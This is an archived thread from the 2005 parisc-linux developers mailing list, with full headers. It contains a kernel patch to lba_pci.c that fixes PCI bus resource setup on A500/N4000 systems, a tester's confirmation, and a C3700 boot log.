Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8ACFA7D6FA;
	Tue, 13 Dec 2005 09:59:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 824047D6F1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 09:59:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14392-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 09:59:43 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 036227D6EE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 09:59:43 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 991D8494187; Tue, 13 Dec 2005 09:59:42 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by palinux.hppa (Postfix) with ESMTP id 5C91C494007
	for <parisc-linux@parisc-linux.org>;
	Tue, 13 Dec 2005 09:59:42 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id DEC1917089;
	Tue, 13 Dec 2005 11:59:40 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24048-09; Tue, 13 Dec 2005 11:59:40 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id A5C1C17088;
	Tue, 13 Dec 2005 11:59:40 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id ED8F83B059; Tue, 13 Dec 2005 11:59:27 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <IRG3MR$81CB7F45F8AC7660A8DC2B387303F836@scarlet.be>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XpvsYxpSeSEkS76WZHQhaXN1IGRvb0BH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25233

On Tue, Dec 13, 2005 at 05:40:03PM +0100, Joel Soete wrote:
> I named my vserver DebSid (;-) ) with sever name debvs007 (just because that'
> actualy my 7th linux system ;-) and very dream to enlarge this famer lol):
>

This is really cool.

Cheers,
	Kyle 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: -pa2 broke N4000/A500
Date: Wed, 14 Dec 2005 12:02:19 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20051214190219.GC15899@colo.lackof.org>
References: <20051212151131.GD9286@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624575 27448 80.91.229.3 (22 Nov 2014 02:49:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:35 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2005 18:53:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 14 Dec 2005 19:53:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AD457D7A6;
	Wed, 14 Dec 2005 11:53:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26692-06; Wed, 14 Dec 2005 11:53:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 222EC7D7A7;
	Wed, 14 Dec 2005 11:53:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 203987D7A4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 11:53:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26743-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 11:53:51 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 92F317D79E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 11:53:51 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 370F649557B; Wed, 14 Dec 2005 11:53:51 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id D737C4940A5;
	Wed, 14 Dec 2005 11:53:50 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EF2E8360002;
	Wed, 14 Dec 2005 12:02:19 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28242-03; Wed, 14 Dec 2005 12:02:19 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 82E93360001; Wed, 14 Dec 2005 12:02:19 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051212151131.GD9286@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Hw/SY5IKeSEkfL6WZHQhaXN1IGRvbwCO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25234

On Mon, Dec 12, 2005 at 08:11:31AM -0700, Matthew Wilcox wrote:
> 
> Grant, your lba_pci changes to support rp3440 broke A500 and N4000.
> CVS2_6_15_RC5_PA1 boots fine.

Willy,
Just wanted to ACK on p-l mailing list that I did break this - apologies again.

I've posted the following patch (on top of what willy committed)
to parisc-linux-cvs mailing list and it only needs testing on C3000.

thanks,
grant

> willy@palinux:~/linux-2.6$ cvs up -rCVS2_6_15_RC5_PA2
> U Makefile
> U drivers/parisc/lba_pci.c
...


Index: drivers/parisc/lba_pci.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/lba_pci.c,v
retrieving revision 1.35
diff -u -p -r1.35 lba_pci.c
--- drivers/parisc/lba_pci.c	12 Dec 2005 15:50:34 -0000	1.35
+++ drivers/parisc/lba_pci.c	12 Dec 2005 17:21:26 -0000
@@ -809,8 +809,7 @@ lba_fixup_bus(struct pci_bus *bus)
 		}
 		/* advertize Host bridge resources to PCI bus */
 		bus->resource[0] = &(ldev->hba.io_space);
-		bus->resource[1] = &(ldev->hba.lmmio_space);
-		i = 2;
+		i = 1;
 
 		if (ldev->hba.elmmio_space.start) {
 			err = request_resource(&iomem_resource,
@@ -831,7 +830,7 @@ lba_fixup_bus(struct pci_bus *bus)
 
 		/*   Overlaps with elmmio can (and should) fail here.
 		 *   We will prune (or ignore) the distributed range.

From - Thu Nov 08 21:36:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: -pa2 broke N4000/A500
Date: Thu, 15 Dec 2005 00:01:41 +0100
Lines: 324
Approved: news@gmane.org
Message-ID: <200512150001.41553.deller@gmx.de>
References: <20051212151131.GD9286@parisc-linux.org>
	<20051214190219.GC15899@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_VRKoDL7YKgeVdzi"
X-Trace: ger.gmane.org 1416624576 27453 80.91.229.3 (22 Nov 2014 02:49:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:36 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2005 23:02:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 15 Dec 2005 00:02:11 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65A717D749;
	Wed, 14 Dec 2005 16:02:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28230-02; Wed, 14 Dec 2005 16:02:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B69217D7A1;
	Wed, 14 Dec 2005 16:02:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC8997D79C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 16:02:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27425-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 16:02:02 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1D1FE7D795
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Dec 2005 16:02:02 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id A6B1849557A; Wed, 14 Dec 2005 16:02:01 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.21])
	by palinux.hppa (Postfix) with SMTP id C7A7F4940A5
	for <parisc-linux@parisc-linux.org>;
	Wed, 14 Dec 2005 16:02:00 -0700 (MST)
Original-Received: (qmail invoked by alias); 14 Dec 2005 23:01:55 -0000
Original-Received: from p54AD1462.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.20.98]
	by mail.gmx.net (mp029) with SMTP; 15 Dec 2005 00:01:55 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <20051214190219.GC15899@colo.lackof.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: I8HSY6RoeSEkSL6WZHQhaXN1IGRvb0Aa
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25235

--Boundary-00=_VRKoDL7YKgeVdzi
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Patch tested on my c3k.
Seems OK.
Bootlog is attached.

Helge

On Wednesday 14 December 2005 20:02, Grant Grundler wrote:
> On Mon, Dec 12, 2005 at 08:11:31AM -0700, Matthew Wilcox wrote:
> > 
> > Grant, your lba_pci changes to support rp3440 broke A500 and N4000.
> > CVS2_6_15_RC5_PA1 boots fine.
> 
> Willy,
> Just wanted to ACK on p-l mailing list that I did break this - apologies again.
> 
> I've posted the following patch (on top of what willy committed)
> to parisc-linux-cvs mailing list and it only needs testing on C3000.
> 
> thanks,
> grant
> 
> > willy@palinux:~/linux-2.6$ cvs up -rCVS2_6_15_RC5_PA2
> > U Makefile
> > U drivers/parisc/lba_pci.c
> ...
> 
> 
> Index: drivers/parisc/lba_pci.c
> ===================================================================
> RCS file: /var/cvs/linux-2.6/drivers/parisc/lba_pci.c,v
> retrieving revision 1.35
> diff -u -p -r1.35 lba_pci.c
> --- drivers/parisc/lba_pci.c	12 Dec 2005 15:50:34 -0000	1.35
> +++ drivers/parisc/lba_pci.c	12 Dec 2005 17:21:26 -0000
> @@ -809,8 +809,7 @@ lba_fixup_bus(struct pci_bus *bus)
>  		}
>  		/* advertize Host bridge resources to PCI bus */
>  		bus->resource[0] = &(ldev->hba.io_space);
> -		bus->resource[1] = &(ldev->hba.lmmio_space);
> -		i = 2;
> +		i = 1;
>  
>  		if (ldev->hba.elmmio_space.start) {
>  			err = request_resource(&iomem_resource,
> @@ -831,7 +830,7 @@ lba_fixup_bus(struct pci_bus *bus)
>  
>  		/*   Overlaps with elmmio can (and should) fail here.
>  		 *   We will prune (or ignore) the distributed range.
> -
> +		 *
>  		 *   FIXME: SBA code should register all elmmio ranges first.
>  		 *      that would take care of elmmio ranges routed
>  		 *	to a different rope (already discovered) from
> @@ -851,7 +850,8 @@ lba_fixup_bus(struct pci_bus *bus)
>  					"lmmio_space [%lx/%lx]\n",
>  					ldev->hba.lmmio_space.start,
>  					ldev->hba.lmmio_space.end);
> -			}
> +			} else
> +				bus->resource[i++] = &(ldev->hba.lmmio_space);
>  		}
>  
>  #ifdef CONFIG_64BIT
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 

--Boundary-00=_VRKoDL7YKgeVdzi
Content-Type: text/plain;
  charset="iso-8859-1";
  name="bootlog"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="bootlog"

Linux version 2.6.15-rc5-pa5 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #242 Wed Dec 14 23:51:28 CET 2005
FP[0] enabled: Rev 1 Model 19
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005dc0 00000481 00000000 00000002 777c3e84 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 19 rev 11 (0x0000026b)
capabilities 0x7
model 9000/785/C3700
Total Memory: 2048 MB
On node 0 totalpages: 524288
  DMA zone: 524288 pages, LIFO batch:31
  DMA32 zone: 0 pages, LIFO batch:0
  Normal zone: 0 pages, LIFO batch:0
  HighMem zone: 0 pages, LIFO batch:0
LCD display at f05d0008,f05d0000 registered
Built 1 zonelists
Kernel command line: HOME=/ root=/dev/sda3 ip=bootp console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 12, 65536 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 524288 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 262144 (order: 8, 1048576 bytes)
Memory: 2097152k available
Calibrating delay loop... 1497.49 BogoMIPS (lpj=7487488)
Mount-cache hash table entries: 512
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Allegro W2 at 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Whole cache flush 863173 cycles, flushing 4294848 bytes 859323 cycles
Setting cache flush threshold to 300 (1 CPUs online)
SBA found Astro 2.1 at 0xfed00000
LBA version TR4.0 (0x5) found at 0xfed30000
PCI: Enabled native mode for NS87415 (pif=0x8f)
LBA version TR4.0 (0x5) found at 0xfed32000
iosapic: no IRTE for 0000:01:04.0 (IRQ not connected?)
iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
LBA version TR4.0 (0x5) found at 0xfed38000
LBA version TR4.0 (0x5) found at 0xfed3c000
iosapic: hpa not registered for 0000:03:02.0
SCSI subsystem initialized
usbcore: registered new driver usbfs
usbcore: registered new driver hub
unwind_init: start = 0x103e4430, end = 0x10411a10, entries = 11614
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Initializing Cryptographic API
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 67) 
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
PDC Stable Storage facility v0.10
Soft power switch enabled, polling @ 0xf0400804.
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f2400000 (64 kB), fb at f8000000 (32 MB)
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
    graphics card name: PCI_GRAFFITIX1024
STI PCI graphic ROM found at f3800000 (2048 kB), fb at f6000000 (32 MB)
    id 35acda30-9a02587, conforms to spec rev. 8.0d
    graphics card name: A1262A
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
Console: switching to colour frame buffer device 128x48
fb0: stifb 1024x768-8 frame buffer device, PCI_GRAFFITIX1024, id: 2d08c0a7, mmio: 0xf8100000
stifb: 'A1262A' (id: 0x35acda30) not supported.
sstfb: Voodoo2 (revision 2) with ICS ICS5342 dac
sstfb: framebuffer at 0xfb400000, mapped to 0xfb400000, size 2MB
fb1: Voodoo2 frame buffer device at 0xfb400000
lp: driver loaded but no devices found
Generic RTC Driver v1.07
HP SDC: No SDC found.
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
RAMDISK driver initialized: 4 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 1.1.13-NAPI (December 15, 2004)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21142/DS21143 Tulip rev 65 at 80001000, 00:30:6E:48:AA:64, IRQ 65.
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip1:  Index #1 - Media 10base2 (#1) described by a 21142 Serial PHY (2) block.
tulip1:  Index #2 - Media AUI (#2) described by a 21142 Serial PHY (2) block.
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth1: Digital DS21142/DS21143 Tulip rev 33 at 80028000, 00:60:B0:7A:12:89, IRQ 71.
sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 68
sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.2
sym1: <896> rev 0x7 at pci 0000:00:0f.1 irq 68
sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.2
  Vendor: SEAGATE   Model: ST39102LC         Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target1:0:5: tagged command queuing enabled, command queue depth 16.
 target1:0:5: Beginning Domain Validation
 target1:0:5: asynchronous.
 target1:0:5: FAST-40 SCSI 40.0 MB/s ST (25 ns, offset 15)
 target1:0:5: Domain Validation skipping write tests
 target1:0:5: Ending Domain Validation
  Vendor: HP 36.4G  Model: ST336607LC        Rev: HPC3
  Type:   Direct-Access                      ANSI SCSI revision: 03
 target1:0:6: tagged command queuing enabled, command queue depth 16.
 target1:0:6: Beginning Domain Validation
 target1:0:6: asynchronous.
 target1:0:6: FAST-40 SCSI 40.0 MB/s ST (25 ns, offset 31)
 target1:0:6: Domain Validation skipping write tests
 target1:0:6: Ending Domain Validation
st: Version 20050830, fixed bufsize 32768, s/g segs 256
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sda: drive cache: write through
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sda: drive cache: write through
 sda: sda1 sda2 sda3 sda4
sd 1:0:5:0: Attached scsi disk sda
SCSI device sdb: 71132960 512-byte hdwr sectors (36420 MB)
SCSI device sdb: drive cache: write through
SCSI device sdb: 71132960 512-byte hdwr sectors (36420 MB)
SCSI device sdb: drive cache: write through
 sdb: sdb1 sdb2 sdb3 sdb4
sd 1:0:6:0: Attached scsi disk sdb
sd 1:0:5:0: Attached scsi generic sg0 type 0
sd 1:0:6:0: Attached scsi generic sg1 type 0
ohci_hcd: 2005 April 22 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
ohci_hcd: block sizes: ed 64 td 64
ohci_hcd 0000:00:0e.2: OHCI Host Controller
drivers/usb/core/inode.c: creating file 'devices'
drivers/usb/core/inode.c: creating file '001'
ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf2007000
ohci_hcd 0000:00:0e.2: Using NSC SuperIO setup
ohci_hcd 0000:00:0e.2: resetting from state 'reset', control = 0x0
ohci_hcd 0000:00:0e.2: OHCI controller state
ohci_hcd 0000:00:0e.2: OHCI 1.0, NO legacy support registers
ohci_hcd 0000:00:0e.2: control 0x083 HCFS=operational CBSR=3
ohci_hcd 0000:00:0e.2: cmdstatus 0x00000 SOC=0
ohci_hcd 0000:00:0e.2: intrstatus 0x00000000
ohci_hcd 0000:00:0e.2: intrenable 0x8000001a MIE UE RD WDH
ohci_hcd 0000:00:0e.2: hcca frame #0000
ohci_hcd 0000:00:0e.2: roothub.a 00001003 POTPGT=0 NOCP NDP=3(3)
ohci_hcd 0000:00:0e.2: roothub.b 000e0000 PPCM=000e DR=0000
ohci_hcd 0000:00:0e.2: roothub.status 00008000 DRWE
ohci_hcd 0000:00:0e.2: roothub.portstatus [0] 0x00000100 PPS
ohci_hcd 0000:00:0e.2: roothub.portstatus [1] 0x00000100 PPS
ohci_hcd 0000:00:0e.2: roothub.portstatus [2] 0x00000100 PPS
ohci_hcd 0000:00:0e.2: created debug files
usb usb1: default language 0x0409
usb usb1: new device strings: Mfr=3, Product=2, SerialNumber=1
usb usb1: Product: OHCI Host Controller
usb usb1: Manufacturer: Linux 2.6.15-rc5-pa5 ohci_hcd
usb usb1: SerialNumber: 0000:00:0e.2
usb usb1: hotplug
usb usb1: adding 1-0:1.0 (config #1, interface 0)
usb 1-0:1.0: hotplug
hub 1-0:1.0: usb_probe_interface
hub 1-0:1.0: usb_probe_interface - got id
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 3 ports detected
hub 1-0:1.0: standalone hub
hub 1-0:1.0: ganged power switching
hub 1-0:1.0: no over-current protection
hub 1-0:1.0: power on to power good time: 0ms
hub 1-0:1.0: local power source is good
hub 1-0:1.0: enabling power on all ports
hub 1-0:1.0: state 5 ports 3 chg 0000 evt 0000
drivers/usb/core/inode.c: creating file '001'
usbcore: registered new driver hiddev
usbcore: registered new driver usbhid
drivers/usb/input/hid-core.c: v2.6:USB HID core driver
mice: PS/2 mouse device common for all mice
Advanced Linux Sound Architecture Driver Version 1.0.10rc3 (Mon Nov 07 13:30:21 2005 UTC).
ALSA device list:
  No soundcards found.
oprofile: using timer interrupt.
NET: Registered protocol family 2
IP route cache hash table entries: 131072 (order: 7, 524288 bytes)
TCP established hash table entries: 524288 (order: 9, 2097152 bytes)
TCP bind hash table entries: 65536 (order: 6, 262144 bytes)
TCP: Hash tables configured (established 524288 bind 65536)
TCP reno registered
TCP bic registered
